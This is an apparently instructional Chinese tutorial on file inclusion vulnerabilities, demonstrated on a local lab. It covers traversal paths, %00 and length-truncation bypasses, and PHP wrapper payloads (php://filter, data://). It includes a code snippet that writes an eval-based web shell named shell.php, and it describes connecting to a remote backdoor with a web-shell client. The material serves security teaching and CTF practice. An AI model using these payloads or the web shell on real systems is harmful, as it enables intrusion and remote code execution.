文件包含的作用就是将这个文件包含进去之后,会调用指定文件的代码。先将文件包含才能执行里面的一些相关代码,比如所想进行文件的链接,数据库的查询,就可以先包含一个数据库的配置文件, 再去链接的话就享有配置文件的一些配置信息,就不需要在进行相关的操作。
它可以把一些功能性代码写到一个文件里面,然后用另外一个文件去包含这个文件,这样子就不再重复书写那个包含文件里面的代码。
举四个脚本语句,asp,php,jsp,aspx等
<!==#include file=”1.asp”--> 就相当于包含了1.asp
<!==#include file=”top.aspx”--> 这个aspx运行,包含了一个top.aspx文件
<c:import url=”http://thief.one/1.jsp”> 包含一个远程地址文件jsp
<% include file=”head.jsp”%> 第二种写法,包含一个本地地址文件 jsp
<jsp:include page=”head.jsp”/> 第三种jsp写法
<?php include(‘test.php’)?> php的写法
包含文件的常见写法
搭建一个靶场演示
声明一个变量filenam=get接收到filename值。然后include包含变量filename,
在网站当前目录是有一个1.txt文件的
现在通过地址去访问一下include.php这个文件,
然而phpinfo并没有在代码中体现,而是写在1.txt里面的,然而直接访问1.txt
就只会显示里面的内容,并不会当作代码去执行。而在包含文件里面不管你是asp还是txt,都会把里面的内容当作php代码去执行。网站是php就以php代码去执行,asp就以asp代码去执行。
条件就是一个可控变量,一个漏洞函数,(include包含函数)
#检测
第一种是白盒,有代码之后我们去代码里面分析(代码审计)
第二种是黑盒,没有漏洞,就利用工具去扫描,去看公开的漏洞有没有,利用这个功能点和参数值去判定,就是看后面的参数值的值街上的是不是一个文件或者类似文件名字的命名,来判定给的参数值是不是一个文件,功能点就是去思考这个网站的功能是干嘛用的通过这个功能去思考会涉及到那些函数,有没有文件包含。
这个是检测的一个大概思路。
#类型
类型分为两种一种是本地包含,就是包含本地的文件。一种是远程包含,就是能包含互联网所能访问的文件,都能包含。
远程包含危害更大,因为可以自己去写一个文件,去做一个网站,让包含漏洞的文件指向它,然而这个东西是可以自定义,所以就可以写后门代码之类的东西。
包含都会涉及到应该叫无限制一个叫有限制,无限制就是这个包含漏洞没有限制就直接用,有限制就可能有一些一些干扰,需要我们用特定的方法去绕过。
#利用
我们在利用漏洞的时候都有各种各样的要求,我们能不能进行读取里面的文件或者执行相关的命令,这时我们可以进行一些伪造协议,这些伪造协议也可以进行上面有限制的绕过,利用伪造协议去绕过一些常见的waf软件也是可以的。利用就属于拓展应用,其他协议的结合。
#说一下本地包含,远程包含
本地包含要跨目录,比如想去包含d盘下面的一个文件
就要往上跨两级,../是上一级的意思,所以我们要写两个,最终网站就是
127.0.0.1/xx.php?filename=../../qingshu.txt
成功包含到了w.txt文件,并且执行了里面的语句
现在来看一下有限制的源码
这个有限制是他指向的文件后缀为.html,再去指向刚刚指向过的1.txt文件
这时候就发现网站不一样了,现在他包含的文件的就相当于包含的1.txt.html,由于当前目录没有这个文件,所以执行失败,因为他在文件后面强制加了一个.html,这种就是常规额的验证方式,可以用以下两种方式去绕过,
%00截断,不过要是php环境,而且php版本<5.3.4,小于5.3.4版本呢
这种不太推荐但是很方便,只需要在后面加上个%00,刚刚作者是版本大于5.3.4访问还是刚刚效果切换到了小于5.3.4的版本就正常访问了。
第二种方法,长度截断
条件:Windows系统的话点号需要长度大于256位,linux系统的话点号长度需要大于4096位,大于这个长度就直接截断了,垃圾数据填充的方法思路差不多。
操作系统是目标服务器操作系统
就这样填充垃圾数据。
#远程包含
其实在任何脚本里面都有这么一个简单的设置,来确定这个漏洞会不会成为远程包含。
第一个是代码里面有限制只能包含本地文件就不会远程包含,如果说代码里面没有,并且开发平台上面设置也没有设置禁止包含远程文件,就可能产生远程包含漏洞。
在php里面就有一个开关,allow_url_include
这个是可以通过查看phpinfo查到的和开关状态
如果这里是开启状态的话就允许远程地址的请求,就支持远程包含文件,这里把源码恢复到没有拦截的时候,然后这里老师自己博客里面有一个有远程代码的文件,
远程包含一下老师的文件的时候,输出来了,还显示出来了phpinfo的效果。
而包含的地址是一个远程地址,把这个远程文件去访问了,并且调用执行了。
如果这个远程文件是一个后门代码,现在把那个文件写为一个远程代码,
然后再去访问一下网站,现在代码已经不显示了,但代码已经执行了
我们现在就可以用菜刀去连接这个后门
直接连接上
然后现在把源代码换回来那个有过滤的,然后在去访问网址就不行了,这个过滤也很简单
末尾加? 加%23 加%20 都可以执行
#各种协议流玩法
比赛题目考到的话基本上都会碰到这个伪造协议
我们伪造的时候要先知道这个脚本代码支不支持这个协议,curl不是
协议是分支持不支持的对好的就是支持的协议,和版本限制,在那个脚本代码下可以伪造那个协议。
这个是php里面的写法,测试的版本,部分功能的改观情况,off/on的就是开不开都可以,
选用那种伪造协议要先确定当前网站的脚本代码是否支持,可能还有些支持下面还需要条件
php伪协议链接:https://www.cnblogs.com/endust/p/11804767.html (很全)
讲几个比较重点的
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
通过这个代码就可以读取文件里面的内容(链接里面参考)
base64加密是为了避免有一些文件内容乱码,拿去解密就好了。
换一个执行代码效果,就去链接里面找就好了,那里也有说要换成post提交方式,
写入一句话后门代码
<?php
fputs
(
fopen
(
'shell.php'
,
'w'
),
'<?php @eval($_GET[cmd]); ?>'
); ?>
这个语句就相当与写一个shell.php文件,然后将后门的一句写入到那个文件里面去,写入之后就可以直接连接这个shell.php代码试试,
file协议在上面那个表里面是都支持的,
还要data协议,图片上没有。好像php特,
http:
//127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
里面的内容执行代码可以由你自定义,比如这里我想输出个地东西
这就是我们说的具体协议的玩法,如果是别的脚本代码直接去网上搜脚本代码的为协议就好。